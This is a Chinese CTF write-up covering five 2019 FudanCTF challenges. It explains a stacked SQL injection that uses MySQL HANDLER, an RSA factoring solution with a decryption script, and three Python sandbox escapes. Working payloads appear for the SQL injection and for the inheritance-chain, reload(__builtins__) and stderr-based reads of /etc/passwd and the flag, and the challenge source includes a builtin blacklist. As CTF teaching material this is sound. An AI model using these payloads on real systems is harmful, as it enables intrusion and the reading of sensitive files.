2019 FudanCTF Writeup - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2019 FudanCTF Writeup

一叶飘零 web安全 2019-12-19 10:45:04
509775
收藏

导语:最近学校有招新赛,难度比较低。于是节选了几道稍微有点意思的题目记录一下。

前言

最近学校有招新赛,难度比较低。于是节选了几道稍微有点意思的题目记录一下。

你再注试试

本题是一道Web堆叠查询注入题,改编自2019 强网杯online 随便注,在其基础上限制了多个关键词:

prepare、set、execute……

但是我们可以利用mysql新特性handler:

https://dev.mysql.com/doc/refman/8.0/en/handler.html

2019-12-14-12-09-03.png

例如:

2019-12-14-12-31-18.png

我们可以用如下方式查询:

2019-12-14-12-33-23.png

最后写出exp:

11'; handler `1919810931114514` open as `tgt`;handler `tgt` read next;--

ReSnAd

本题是一道密码题,涉及RSA相关知识。题目提供了如下值:

phi_n、iqmp、ipmq、e、c

首先我们看一下各个变量的定义:

2019-12-13-23-04-59.png

那么现在即考虑,如何利用iqmp和ipmq推导出p和q,首先将式5、6变为等式:

2019-12-13-23-08-11.png

我们将两式相乘得到:

2019-12-13-23-10-34.png

那么即:

2019-12-13-23-10-48.png

移项化简:

2019-12-13-23-11-33.png

同时我们知道k1和k2的范围:

2019-12-13-23-14-21.png

那么可以转换为这样一个问题,在极限情况k1和k2均取右边值时,会出现如下情况:

2019-12-13-23-24-35.png

但显然不等式右边肯定小于2n+1,那么x的取值只能为1或2,但是如果x取2,那么除非k1取q,k2取p,否则不等式将不成立,但这显然不可能取得。所以x只能为1,那么我们得到式子:

2019-12-13-23-28-05.png

那么我们将最初的式5、6相加:

2019-12-13-23-29-58.png

而我们知道:

2019-12-13-23-30-49.png

展开后得到:

2019-12-13-23-31-53.png

那么可以得到phi_n和n的关系式如下:

2019-12-13-23-32-32.png

我们将其带入等式:

2019-12-13-23-29-58.png

得到:

2019-12-13-23-34-24.png

那么可以联立方程组:

2019-12-13-23-35-53.png

那么可以构成一组二元二次方程。为约束求解方便,我们可以利用换元法,做一下代换:

2019-12-13-23-37-19.png

替换后得到:

2019-12-13-23-40-22.png

那么我们将x带入消元,再将式子两边同乘y:

2019-12-13-23-43-44.png

我们化简后得到:

2019-12-13-23-45-53.png

如此一来,即化简成了一元二次方程组问题,那么我们可以用z3来求解:


from z3 import *
Y = Int('Y')
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
iqmp = 91015809392527255523072044687980286577671138545257803641612547883387289541035388722157767029686572001797549231630088970758132893695316792508265294751302240594796242084165161239587935396541914404832318478070695600559420277875549100164011180835754613742632525637982101603421982448705454195363628987806367263766
ipmq = 10870198964186987138989651624057552405853366954080463316431710442091837631287759912193054100505356356476481503550009625275319473929512195371174525538642232600176213853601253377888749818545192155785873323173291991086758912490744417777560275318548708479769299122462125768416235737869558154549710389717852257846
solve(Y**2*(iqmp-1)+Y*(ipmq+iqmp-phi-2)+ipmq*phi-phi==0)

容易计算出:


Y=110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336

那么即可利用y,计算出x,即可得到p和q,然后写出解密脚本:


import gmpy
import gmpy2
import libnum
Y = 110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336
p = Y+1
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
X = phi/Y
q = X+1
n = p*q
e = 65537
c = 0x3ce4e91042f61e3b03537d825e7619a02b3f729a91e2de4fb724b95cabe8fb2a7a92c4270025d93aed94f1726ca761083328a7784806e1467f0bc204ef95484ce6b0d207574c6dba4fa91664db4c787e3df517bcfc370a0c5eed8a70b45be8d1e757a9d40eb410e66d2110ac9ece435f76d71e134e2bdbe565e8853e1100ae276211c2b9c49219bca8805ff697dcf84be00b071c3be01f35ba9a4ea1d8ef2c69044982a7fc021d2f6f93b8755948a606a8a376e74d995f439aeeb844ecf678a189916adca406197a1d2eaf2abe84ae6e794560537bcde43a1504f135874d5de9e0a2d95093e4ba7a87641e769e46a911c94ff60525b21c9c709068a89808b6bf
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(c,d,n))

被嫌弃的python的一生

该系列有3道题,都是python继承链考察,难度也逐渐递进。

被嫌弃的python的一生 & 上

在看python继承链时,我们得先了解一下内置方法:


instance.__class__
The class to which a class instance belongs.

比如:

2019-12-14-11-33-28.png

class.__bases__
The tuple of base classes of a class object.

比如:

2019-12-14-11-35-46.png

此处basestring是 str 和 unicode 的超类(父类),也是抽象类。

2019-12-14-11-36-33.png

class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.

2019-12-14-11-38-43.png

__subclasses__可以列举一个类的子类,此时我们能看到刚才出现的basestring和int。

所以简单总结一下:

__class__:查看属于哪个类

__base__:查看该类的父类

__subclasses__:列举该类的子类

那么当我们想要使用继承链攻击时,我们先使用:


>>> print [].__class__
<type 'list'>

再利用__base__上跳到object:


>>> print [].__class__.__base__
<type 'object'>

然后再列举object下的子类:

print [].__class__.__base__.__subclasses__()

再寻找其中是否含有危险类,例如file任意读文件:


>>> print [].__class__.__base__.__subclasses__()[40]
<type 'file'>

那么利用写出exp:

print [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

题目中由于flag被过滤,那么使用拼接bypass:


>>> print [].__class__.__base__.__subclasses__()[40]('fl'+'ag').read()
fductf{python_is_the_best_language}

2019-12-13-23-47-26.png

被嫌弃的python的一生 & 中

我们查看源码:


def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']
def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']
    del func_dict['__closure__']
def builtins_clear():
    blackList = ['open',
                 'file',
                 'eval',
                 'execfile',
                 'compile',
                 '__import__',
                 'input']
    for mod in __builtins__.__dict__.keys():
        if mod in blackList:
            del __builtins__.__dict__[mod]

我们看到题目删除了__import__函数,那么我们将无法导入任何python模块,同时题目删除了__subclasses__,那么我们在使用继承链中调用子类将变得非常困难。

但是我们不难发现,我们依然可以使用reload函数。而reload函数用于重新载入之前载入的模块。

那么我们可以借助reload,来重新载入__builtins__,那么其删除的函数将会恢复:

reload(__builtins__)

我们做个实验,首先删除__import__方法:

2019-12-14-11-19-31.png

可以发现,我们在调用import的时候,已经无法正常使用,此时我们重新载入__builtins__:

2019-12-14-11-20-31.png

发现已可以正常使用import:

2019-12-13-23-47-58.png

那么即刻获取flag。

被嫌弃的python的一生 & 下

我们查看源码,发现题目还给我们留下了stderr:


while 1:
    stderr.write(">>> ")
    inp = raw_input()
    cmd = input_filter(inp)
    
    try:
        exec cmd
    except Exception:
        stderr.write("An error has occurred!\n")

那么我们还能用stderr.write进行指定内容输出:

2019-12-13-23-49-12.png

那么研究一下stderr:

print help(sys.stderr)

2019-12-14-12-01-40.png

我们stderr是类file下的,那么我们可以利用__class__创造出file:


>>> print sys.stderr.__class__
<type 'file'>

然后即可进行任意文件读取:

sys.stderr.__class__('/etc/passwd').read()

然后利用stderr.write将内容带出,写出exp:

stderr.write(stderr.__class__('flag','r').read())

得到flag:

2019-12-13-23-48-22.png

后记

题目还是比较容易的,主要面向新人以及拓宽知识面。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务